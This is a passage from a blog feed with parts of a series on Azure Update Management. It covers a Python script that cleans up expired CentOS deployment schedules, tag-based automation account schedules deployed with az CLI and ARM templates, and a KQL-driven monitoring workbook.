src="/assets/img/centos_2.png" class="img-fluid rounded z-depth-1" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/centos_3-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/centos_3-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/centos_3-1400.webp"/> <img src="/assets/img/centos_3.png" class="img-fluid rounded z-depth-1" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <hr/> <h3 id="deployment-schedule-lifecycle">Deployment schedule lifecycle</h3> <p>What I didn’t tell you is that those deployment schedules are run only once, because they contains specific packages to update that probably won’t need to be patched on next week. Once the deployment schedule is executed, you will see that <i>Next run time</i> is set to <b>None</b>. You have two options.</p> <h4 id="option-1---clean-deployment-schedules">Option 1 - Clean deployment schedules</h4> <p>In order to clean deployment schedules to remove those that won’t execute anymore, you can use that simple script:</p> <figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="c1">#!/usr/bin/env python3
# Azure packages
</span><span class="kn">from</span> <span class="n">azure.identity</span> <span class="kn">import</span> <span class="n">DefaultAzureCredential</span>
<span class="kn">from</span> <span class="n">azure.mgmt.automation</span> <span class="kn">import</span> <span class="n">AutomationClient</span>
<span class="kn">import</span> <span class="n">automationassets</span>
<span class="kn">from</span> <span class="n">automationassets</span> <span class="kn">import</span> <span class="n">AutomationAssetNotFound</span>

<span class="c1"># Various pacakges
</span><span class="kn">import</span> <span class="n">pandas</span> <span class="k">as</span> <span class="n">pd</span>

<span class="c1"># System packages
</span><span class="kn">import</span> <span class="n">sys</span>
<span class="kn">import</span> <span class="n">json</span>

<span class="c1"># Retrieve Automation Account variables
</span><span class="n">automation_account_name</span> <span class="o">=</span> <span class="n">automationassets</span><span class="p">.</span><span class="nf">get_automation_variable</span><span class="p">(</span><span class="sh">"</span><span class="s">aa_name</span><span class="sh">"</span><span class="p">)</span>
<span class="n">resource_group_name</span> <span class="o">=</span> <span class="n">automationassets</span><span class="p">.</span><span class="nf">get_automation_variable</span><span class="p">(</span><span class="sh">"</span><span class="s">resource_group_name</span><span class="sh">"</span><span class="p">)</span>
<span class="n">subscription_id</span> <span class="o">=</span> <span class="n">automationassets</span><span class="p">.</span><span class="nf">get_automation_variable</span><span class="p">(</span><span class="sh">"</span><span class="s">subscription_id</span><span class="sh">"</span><span class="p">)</span>

<span class="c1"># Instanciate all clients
</span><span class="n">token_credential</span> <span class="o">=</span> <span class="nc">DefaultAzureCredential</span><span class="p">()</span>
<span class="n">automation_client</span> <span class="o">=</span> <span class="nc">AutomationClient</span><span class="p">(</span><span class="n">token_credential</span><span class="p">,</span> <span class="n">subscription_id</span><span class="p">)</span>

<span class="c1"># 1. Iterate over all deployment schedules
# 	a. Check if deployment schedule name contains "CENTOS" and if there are no next run
# 	b. If check passed, delete
</span><span class="n">deployment_schedules</span> <span class="o">=</span> <span class="n">automation_client</span><span class="p">.</span><span class="n">software_update_configurations</span><span class="p">.</span><span class="nf">list</span><span class="p">(</span><span class="n">resource_group_name</span><span class="p">,</span> <span class="n">automation_account_name</span><span class="p">)</span>
<span class="k">for</span> <span class="n">deployment_schedule</span> <span class="ow">in</span> <span class="n">deployment_schedules</span><span class="p">.</span><span class="n">value</span><span class="p">:</span>
	<span class="k">if</span> <span class="n">deployment_schedule</span><span class="p">.</span><span class="n">next_run</span> <span class="o">==</span> <span class="bp">None</span> <span class="ow">and</span> <span class="sh">"</span><span class="s">CENTOS</span><span class="sh">"</span> <span class="ow">in</span> <span class="n">deployment_schedule</span><span class="p">.</span><span class="n">name</span><span class="p">:</span>
		<span class="n">automation_client</span><span class="p">.</span><span class="n">software_update_configurations</span><span class="p">.</span><span class="nf">delete</span><span class="p">(</span><span class="n">resource_group_name</span><span class="p">,</span> <span class="n">automation_account_name</span><span class="p">,</span> <span class="n">deployment_schedule</span><span class="p">.</span><span class="n">name</span><span class="p">)</span>
		<span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">Deleted : </span><span class="sh">"</span> <span class="o">+</span> <span class="n">deployment_schedule</span><span class="p">.</span><span class="n">name</span><span class="p">)</span></code></pre></figure> <h4 id="option-2---clean-deployment-schedules">Option 2 - Clean deployment schedules</h4> <p>The other option is simply to let your deployment schedules as is. Why? Because the next time you will run the CentOS patch script, it will deploy new deployments schedules, that will simply update existing deployment schedules by setting a new set of packages to patch, and by setting a new start time.</p> <hr/> <p><i>I hope this will help you patch your CentOS machines and leverage all the Azure Automation Updates capabilities. Thanks for reading!</i></p>]]></content><author><name>Molx32</name></author><category term="updatemanagement"/><summary type="html"><![CDATA[This post is describes the architecture of the solution]]></summary></entry><entry><title type="html">Azure Update Management - Part 5 - Automation accounts</title><link href="https://cyber-intruder.com/blog/2023/Update-management-04/" rel="alternate" type="text/html" title="Azure Update Management - Part 5 - Automation accounts"/><published>2023-02-02T11:00:00+01:00</published><updated>2023-02-02T11:00:00+01:00</updated><id>https://cyber-intruder.com/blog/2023/Update-management-04</id><content type="html" xml:base="https://cyber-intruder.com/blog/2023/Update-management-04/"><![CDATA[<p><i>Hello there, the goal of this serie is to describe a real world implementation of <b>Azure Update Management</b>. This service was designed to update any machine in your infrastructure, whether they are hosted on Azure or elsewhere, provided your OSs are technically supported.</i></p> <p><i>In order for every reader to understand and find answers to their need, to I’ll try to give a comprehensive feedback from my experience, as well as sharing tips about design and architecture, automation, effectivement, troubleshooting issues, and so on!</i></p> <p><i>Have a nice reading.</i></p> <hr/> <h4 id="plan">Plan</h4> <ul> <li><a href="/blog/2022/Update-management-00/">Part 0 - Introduction</a></li> <li><a href="/blog/2022/Update-management-01/">Part 1 - Architecture</a></li> <li><a href="/blog/2022/Update-management-011/">Part 2 - Azure Policy</a></li> <li><a href="/blog/2022/Update-management-02/">Part 3 - Azure ARC</a></li> <li><a href="/blog/2022/Update-management-03/">Part 4 - Log Analytics agents</a></li> <li><b><a href="/blog/2023/Update-management-04/">Part 5 - Automation accounts (you’re here)</a></b></li> <li><a href="/blog/2023/Update-management-05/">Part 6 - Monitoring</a></li> <li><a href="/blog/2023/Update-management-06/">Part 7 - Security patches on Azure ARC</a></li> <li><a href="/blog/2023/Update-management-07/">Part 8 - Security patches on CentOS machines</a></li> </ul> <hr/> <h2 id="introduction">Introduction</h2> <p>In the previous post we saw how the basic and simple properties of a Log Analytics workspace. We also saw how to deploy Log Analytics agents with various methods. In this method, you will find all you need to know about Automation Account and their update management feature.</p> <h2 id="context">Context</h2> <p>This part will be very important since it define all the strategy to configure the Automation Accounts. So, if you remember my introduction post, we want to update machines bases on the following rules :</p> <ul> <li>Apply only security and critical patches</li> <li>Apply patches once a week</li> <li>Reboot only if needed</li> </ul> <p>All of this can be configured in In addition to those rules, we will configure <b>deployment schedules</b>, which are some sort of automation accounts sub-resources. For each automation account, we will 21 deployement schedule! This is a lot, be let me explain : the goal of this solution is to allow any business application to patched. To make it possible, we need to propose many schedules to comply with all application constraints. So we decided to propose 3 schedule maintenance per day : at 3:00, 12:00, and 22:00 (3*7 = 21 schedules).</p> <p>My ultimate goal with this is to create a deployment schedule that select the appropriate machines, based on machines tags. Just imagine how simple it would be : if a machine must be updated, I assign a tag to it (the tag <b>MON-03:00</b> for instance), and I know that my deployment schedules will update it. Let’s see how to do this!</p> <table id="custom" class="t-border"> <caption style="text-align:center"><b>Schedules available for VM updates</b></caption> <tr> <th>MON</th> <th>TUE</th> <th>WED</th> <th>THU</th> <th>FRI</th> <th>SAT</th> <th>SUN</th> </tr> <tr> <td>MON-03:00</td> <td>TUE-03:00</td> <td>WED-03:00</td> <td>THU-03:00</td> <td>FRI-03:00</td> <td>SAT-03:00</td> <td>SUN-03:00</td> </tr> <tr> <td>MON-12:00</td> <td>TUE-12:00</td> <td>WED-12:00</td> <td>THU-12:00</td> <td>FRI-12:00</td> <td>SAT-12:00</td> <td>SUN-12:00</td> </tr> <tr> <td>MON-22:00</td> <td>TUE-22:00</td> <td>WED-22:00</td> <td>THU-22:00</td> <td>FRI-22:00</td> <td>SAT-22:00</td> <td>SUN-22:00</td> </tr> </table> <hr/> <h2 id="automation-accounts">Automation accounts</h2> <h3 id="create-deployment-schedule">Create deployment schedule</h3> <p>We can create a first deployment schedule to check what it looks like.</p> <ol> <li>Create an Automation Account if not done</li> <li>Navigate to your Automation Account</li> <li>Navigate to the <b>Update management</b> pane</li> <li>Click on <b>Schedule update deployment</b></li> <li>You will see settings to be configured as described in the following table.</li> </ol> <table id="custom" class="t-border"> <caption style="text-align:center"><b>Deployment schedule settings</b></caption> <tr> <th>Name</th> <th>Description</th> <th>Value</th> </tr> <tr> <td>Name</td> <td>This is the name of the deployment schedule</td> <td>LIN-MON-03:00</td> </tr> <tr> <td>Operating System</td> <td>Surprise! A deployment schedule is dedicated to only one OS.</td> <td>LINUX</td> </tr> <tr> <td>Groups to update</td> <td>Dynamic selection of machines to update</td> <td>C.f. below</td> </tr> <tr> <td>Machines to update</td> <td>Selection of machines to update</td> <td>C.f. below</td> </tr> <tr> <td>Update classification</td> <td>I mentioned before, we only want security and critical here</td> <td>Critical and security updates</td> </tr> <tr> <td>Include/exclude updates</td> <td>You may want to include/exclude specific updates. We can leave this blank.</td> <td>-</td> </tr> <tr> <td>Pre-script + Post script</td> <td>You may want to push and execute script before or after updates. We can leave this blank</td> <td>-</td> </tr> <tr> <td>Maintenance window</td> <td>Duration of the maintenance schedule.</td> <td>120</td> </tr> <tr> <td>Reboot options</td> <td>Reboot if required</td> <td>120</td> </tr> </table> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/automation_account_1-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/automation_account_1-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/automation_account_1-1400.webp"/> <img src="/assets/img/automation_account_1.png" class="img-fluid rounded z-depth-1" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <p>What we observe so far is that we can’t merge Linux and Windows in the same deployment schedule, so our deployment schedules will now look like this :</p> <table id="custom" class="t-border"> <caption style="text-align:center"><b>Schedules available for VM updates</b></caption> <tr> <th>OS</th> <th>MON</th> <th>TUE</th> <th>WED</th> <th>THU</th> <th>FRI</th> <th>SAT</th> <th>SUN</th> </tr> <tr> <td>Windows</td> <td>WIN-MON-03:00</td> <td>WIN-TUE-03:00</td> <td>WIN-WED-03:00</td> <td>WIN-THU-03:00</td> <td>WIN-FRI-03:00</td> <td>WIN-SAT-03:00</td> <td>WIN-SUN-03:00</td> </tr> <tr> <td>Windows</td> <td>WIN-MON-12:00</td> <td>WIN-TUE-12:00</td> <td>WIN-WED-12:00</td> <td>WIN-THU-12:00</td> <td>WIN-FRI-12:00</td> <td>WIN-SAT-12:00</td> <td>WIN-SUN-12:00</td> </tr> <tr> <td>Windows</td> <td>WIN-MON-22:00</td> <td>WIN-TUE-22:00</td> <td>WIN-WED-22:00</td> <td>WIN-THU-22:00</td> <td>WIN-FRI-22:00</td> <td>WIN-SAT-22:00</td> <td>WIN-SUN-22:00</td> </tr> <tr> <td>Linux</td> <td>LIN-MON-03:00</td> <td>LIN-TUE-03:00</td> <td>LIN-WED-03:00</td> <td>LIN-THU-03:00</td> <td>LIN-FRI-03:00</td> <td>LIN-SAT-03:00</td> <td>LIN-SUN-03:00</td> </tr> <tr> <td>Linux</td> <td>LIN-MON-12:00</td> <td>LIN-TUE-12:00</td> <td>LIN-WED-12:00</td> <td>LIN-THU-12:00</td> <td>LIN-FRI-12:00</td> <td>LIN-SAT-12:00</td> <td>LIN-SUN-12:00</td> </tr> <tr> <td>Linux</td> <td>LIN-MON-22:00</td> <td>LIN-TUE-22:00</td> <td>LIN-WED-22:00</td> <td>LIN-THU-22:00</td> <td>LIN-FRI-22:00</td> <td>LIN-SAT-22:00</td> <td>LIN-SUN-22:00</td> </tr> </table> <p>Let’s continue with the settings groups to update and machines to update, which are both settings that allow you to choose which machines should be updated with the current deployment schedule.</p> <h4 id="machines-to-update">Machines to update</h4> <p>When using this feature, we can define a group of machines to target with the current deployment schedule. This group of machines can be created from multiple sources as discussed in the <a href="https://learn.microsoft.com/en-us/azure/azure-monitor/logs/computer-groups">Microsoft documentation</a> :</p> <ul> <li>Log query</li> <li>Log search API</li> <li>Active Directory</li> <li>Configuration Manager</li> <li>Windows Server Update Services</li> </ul> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/automation_account_2-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/automation_account_2-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/automation_account_2-1400.webp"/> <img src="/assets/img/automation_account_2.png" class="img-fluid rounded z-depth-1" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <p>As mentioned in the first part of this post, I want my VMs to be updated if they have a specific tag. Unfortunately, with this setting, we can’t update machines based on their tags! So let’s take a look at the <b>Groups to update</b> feature then.</p> <h4 id="groups-to-update">Groups to update</h4> <p>As described in the Microsoft documentation, we can filter machines based on their tags, awesome right? So this will be our solution, but our solution has an important limitation : this does not apply to Azure ARC VMs! This is immediately not so awesome… But I have a workaround that I will describe in a future post, so let’s continue with Azure VM only for now.</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/automation_account_3-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/automation_account_3-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/automation_account_3-1400.webp"/> <img src="/assets/img/automation_account_3.png" class="img-fluid rounded z-depth-1" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/automation_account_4-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/automation_account_4-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/automation_account_4-1400.webp"/> <img src="/assets/img/automation_account_4.png" class="img-fluid rounded z-depth-1" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <p>I recommend to do some testing if you want to get familiar with deployment schedules capabilities. If you want to go straight foreward, let’s deploy some stuff now!</p> <hr/> <h2 id="deployment">Deployment</h2> <p>The only thing you need to do for deployment is to create a dedicated resource group where our resources will be deployed. You will need two files :</p> <ul> <li>The <a href="https://raw.githubusercontent.com/Molx32/AzureUpdateManagement/main/arm/core_infrastructure_azure.json">core_infrastructure_azure.json</a> file is a simple ARM template that describe the architecture we’re about to deploy.</li> <li>The <a href="https://raw.githubusercontent.com/Molx32/AzureUpdateManagement/main/arm/core_infrastructure_azure.parameters.json">core_infrastructure_azure.parameters.json</a> file is a parameter file where you can change resources names.</li> </ul> <p>Before running the commands below, make sure you chose an existing resource group or created one.</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>az login
az account set --subscription &lt;subscriptionId&gt;
az deployment group create --name &lt;anyName&gt; --resource-group &lt;resourceGroupName&gt; --template-file core_infrastructure_azure.json --parameters core_infrastructure_azure.parameters.json
</code></pre></div></div> <p>Here is a sample output for deployment.</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/automation_account_5-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/automation_account_5-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/automation_account_5-1400.webp"/> <img src="/assets/img/automation_account_5.png" class="img-fluid rounded z-depth-1" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <hr/> <p>What did we deployed? We deployed the three following resources.</p> <table id="custom" class="t-border"> <caption style="text-align:center"><b>Resource deployed</b></caption> <tr> <th>Resource name</th> <th>Description</th> </tr> <tr> <td>Updates(updtmgmt-la)</td> <td>This is a resource that is deployed on top of a Log Analytics, and that usually provide graphs. To be honest I never reversed engineered this to understand how it works, but I think this enables charts to be displayed within the automation account.</td> </tr> <tr> <td>updtmgmt-aa</td> <td>This is the automation account, which is linked to the Log Analytics workspace</td> </tr> <tr> <td>updtmgmt-la</td> <td>This is the log analytics workspace that collects our update data</td> </tr> </table> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/automation_account_6-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/automation_account_6-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/automation_account_6-1400.webp"/> <img src="/assets/img/automation_account_6.png" class="img-fluid rounded z-depth-1" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <p>We can’t see deployment schedule here : we can view them from the automation account, so navigate to the resource, and you will see two deployment schedules that look the same, expect one is for Windows OS, the other for Linux.</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/automation_account_7-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/automation_account_7-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/automation_account_7-1400.webp"/> <img src="/assets/img/automation_account_7.png" class="img-fluid rounded z-depth-1" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <p>If you take a look at the Linux deployment schedule, you will see the configuration we pushed through our ARM template. In the <b>Groups to update</b> setting, we look for machines located in the current subscription and tagged with <b>patch:LINUX-MON-03:00</b> tag.</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/automation_account_8-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/automation_account_8-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/automation_account_8-1400.webp"/> <img src="/assets/img/automation_account_8.png" class="img-fluid rounded z-depth-1" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <p>Now that the core infratructure is deployed, we can assign an Azure policy (c.f. Part 2 of the serie) to the subscription scope and enforce Log Analytics agent to report to our newly deployed Log Analytics workspace. Then you can deploy a VM that will be directly onboarded!</p>]]></content><author><name>Molx32</name></author><category term="updatemanagement"/><summary type="html"><![CDATA[This post is describes the architecture of the solution]]></summary></entry><entry><title type="html">Azure Update Management - Part 6 - Monitoring</title><link href="https://cyber-intruder.com/blog/2023/Update-management-05/" rel="alternate" type="text/html" title="Azure Update Management - Part 6 - Monitoring"/><published>2023-02-02T11:00:00+01:00</published><updated>2023-02-02T11:00:00+01:00</updated><id>https://cyber-intruder.com/blog/2023/Update-management-05</id><content type="html" xml:base="https://cyber-intruder.com/blog/2023/Update-management-05/"><![CDATA[<p><i>Hello there, the goal of this serie is to describe a real world implementation of <b>Azure Update Management</b>. This service was designed to update any machine in your infrastructure, whether they are hosted on Azure or elsewhere, provided your OSs are technically supported.</i></p> <p><i>In order for every reader to understand and find answers to their need, to I’ll try to give a comprehensive feedback from my experience, as well as sharing tips about design and architecture, automation, effectivement, troubleshooting issues, and so on!</i></p> <p><i>Have a nice reading.</i></p> <hr/> <h4 id="plan">Plan</h4> <ul> <li><a href="/blog/2022/Update-management-00/">Part 0 - Introduction</a></li> <li><a href="/blog/2022/Update-management-01/">Part 1 - Architecture</a></li> <li><a href="/blog/2022/Update-management-011/">Part 2 - Azure Policy</a></li> <li><a href="/blog/2022/Update-management-02/">Part 3 - Azure ARC</a></li> <li><a href="/blog/2022/Update-management-03/">Part 4 - Log Analytics agents</a></li> <li><a href="/blog/2023/Update-management-04/">Part 5 - Automation accounts</a></li> <li><b><a href="/blog/2023/Update-management-05/">Part 6 - Monitoring (you’re here)</a></b></li> <li><a href="/blog/2023/Update-management-06/">Part 7 - Security patches on Azure ARC</a></li> <li><a href="/blog/2023/Update-management-07/">Part 8 - Security patches on CentOS machines</a></li> </ul> <h2 id="purpose">Purpose</h2> <p>In this article, I assume you connected all your virtual machines. What you may want now is monitoring you virtual machines. The usual way to monitor updates is navigate to the automation account, then take a look at your VMs.</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/updt_mgmt_monitoring_01-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/updt_mgmt_monitoring_01-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/updt_mgmt_monitoring_01-1400.webp"/> <img src="/assets/img/updt_mgmt_monitoring_01.png" class="img-fluid rounded z-depth-1" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <p>This is a very poor view, and we sure can do way better! And I actually developed a ready to use monitoring workbook that you need to slightly tweak to meet your needs. Ready to discover that sick workbook? Here is a short video.</p> <div class="col-sm mt-3 mt-md-0"> <iframe width="560" height="315" src="https://www.youtube.com/embed/6asRTPWqYmg" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen=""></iframe> </div> <h2 id="deploy">Deploy</h2> <p>To get the same awesome dashboard, just copy the code hosted on my <a href="https://github.com/Molx32/AwesomeAzureWorkbooks/blob/main/Workbooks/update-management.json">Github</a>, and follow these steps :</p> <ol> <li>Create a new workbook</li> <li>Edit the workbook and select the advanced editor (gallery template)</li> <li>Paste the code</li> <li>Save</li> </ol> <p>You should end up with something that looks like this. Let’s adapt this to make it work.</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/updt_mgmt_monitoring_00-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/updt_mgmt_monitoring_00-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/updt_mgmt_monitoring_00-1400.webp"/> <img src="/assets/img/updt_mgmt_monitoring_00.png" class="img-fluid rounded z-depth-1" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <h2 id="adapt">Adapt</h2> <h3 id="customize-general-filters">Customize general filters</h3> <p>The goal of this section is to show how to create filters button so that you can customize them. In my case, the update management architecture is made of the of multiple Log Analytics workspaces that collect VMs update data. In order to monitor data only on those Log Analytics workspaces, we tag them with the tag <b>application:update management</b> to that we can filter them. Then we also add the following tags to our log analytics based on their CSP and their environment. This is summed up in the following table.</p> <table id="custom" class="t-border"> <caption style="text-align:center"><b>Resource deployed</b></caption> <tr> <th>Log Analytics name</th> <th>Second priority</th> <th>CSP tag</th> <th>Environment tag</th> <th>Application tag</th> </tr> <tr> <td>loga-azure-001</td> <td>Azure</td> <td>azure</td> <td>prod</td> <td>update management</td> </tr> <tr> <td>loga-oci-001</td> <td>Azure</td> <td>oci</td> <td>prod</td> <td>update management</td> </tr> <tr> <td>loga-gcp-001</td> <td>Azure</td> <td>gcp</td> <td>prod</td> <td>update management</td> </tr> <tr> <td>loga-ovh-001</td> <td>Azure</td> <td>ovh</td> <td>prod</td> <td>update management</td> </tr> <tr> <td>loga-np-azure-001</td> <td>Azure</td> <td>azure</td> <td>no prod</td> <td>update management</td> </tr> <tr> <td>loga-np-oci-001</td> <td>Azure</td> <td>oci</td> <td>no prod</td> <td>update management</td> </tr> <tr> <td>loga-np-gcp-001</td> <td>Azure</td> <td>gcp</td> <td>no prod</td> <td>update management</td> </tr> <tr> <td>loga-np-ovh-001</td> <td>Azure</td> <td>ovh</td> <td>no prod</td> <td>update management</td> </tr> </table> <p>Once this has been done, let’s create our filter buttons by editing and add <b>Add links/tabs</b>.</p> <h4 id="create-a-first-parameter-named-csp">Create a first parameter named CSP</h4> <p>This will create a drop down button where we can select the different CSPs where our VMs are deployed, in order to filter our view by CSP.</p> <ol> <li>Make it a drop down</li> <li>Make it a required parameter</li> <li>Allow multiple selection</li> <li>Set a static JSON and save</li> </ol> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/updt_mgmt_monitoring_021-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/updt_mgmt_monitoring_021-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/updt_mgmt_monitoring_021-1400.webp"/> <img src="/assets/img/updt_mgmt_monitoring_021.png" class="img-fluid rounded z-depth-1" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <h4 id="create-a-first-parameter-named-environment">Create a first parameter named Environment</h4> <p>This will create a drop down button where we can select the environment (prod, no prod) in order to filter our view by environment.</p> <ol> <li>Make it a resource picker</li> <li>Make it a required parameter</li> <li>Allow multiple selection</li> <li>Set the query as shown on the screen shot</li> </ol> <p>This request selects all Log Analytics workspaces that have the tag <b>application:update management</b>, and returns the list of all unique <b>environment</b> tags positionned on these Log Analytics.</p> <figure class="highlight"><pre><code class="language-kql" data-lang="kql">where type =~ 'microsoft.operationalinsights/workspaces'
&lt;td&gt;where tolower(tostring(tags.application)) == "update management"
&lt;td&gt;distinct tostring(tags.environment)</code></pre></figure> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/updt_mgmt_monitoring_022-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/updt_mgmt_monitoring_022-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/updt_mgmt_monitoring_022-1400.webp"/> <img src="/assets/img/updt_mgmt_monitoring_022.png" class="img-fluid rounded z-depth-1" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <h4 id="create-a-first-parameter-named-workspaces">Create a first parameter named Workspaces</h4> <p>The selected values in our two previous buttons will make this third and last button to return different values.</p> <ol> <li>Make it a resource picker</li> <li>Make it a required parameter</li> <li>Allow multiple selection</li> <li>Check the “Hide parameter in reading mode” feature</li> <li>Set the query as shown on the screen shot</li> </ol> <p>This request selects all Log Analytics workspaces that have the tag <b>application:update management</b>, and return all Log Analytics workspaces that have CSP tag and Environment tags that matches the selection we made using the previous buttons.</p> <figure class="highlight"><pre><code class="language-kql" data-lang="kql">where type =~ 'microsoft.operationalinsights/workspaces'
&lt;td&gt;where tolower(tostring(tags.application)) == "update management"
&lt;td&gt;distinct tostring(tags.environment)</code></pre></figure> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/updt_mgmt_monitoring_023-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/updt_mgmt_monitoring_023-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/updt_mgmt_monitoring_023-1400.webp"/> <img src="/assets/img/updt_mgmt_monitoring_023.png" class="img-fluid rounded z-depth-1" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <hr/> <p>If you didn’t change too much things, the result for this first step should look like this.</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/updt_mgmt_monitoring_024-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/updt_mgmt_monitoring_024-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/updt_mgmt_monitoring_024-1400.webp"/> <img src="/assets/img/updt_mgmt_monitoring_024.png" class="img-fluid rounded z-depth-1" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <h3 id="customize-job-filters">Customize job filters</h3> <p>In my case, VMs have specific tags to easily know when they are supposed to update and reboot. For instance, a production machine (P) that updates and reboots on wednesday (WED) at 12:00 (12:00) will be tagged with <b>patch:P-WED-12:00</b>. Because I have a lot of machines, I wanted to filter the jobs so that I can observe the jobs of all machines that updated on a specific day, or a specific hour.</p> <p>Based on your needs, you either remove or adapt what is highlighted on the following screenshot.</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/updt_mgmt_monitoring_03-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/updt_mgmt_monitoring_03-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/updt_mgmt_monitoring_03-1400.webp"/> <img src="/assets/img/updt_mgmt_monitoring_03.png" class="img-fluid rounded z-depth-1" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <h2 id="additional-info">Additional info</h2> <p>So what do we have to monitor our VMs? Our VMs send the followinf logs, thanks to the Log Analytics agent that are runnin on 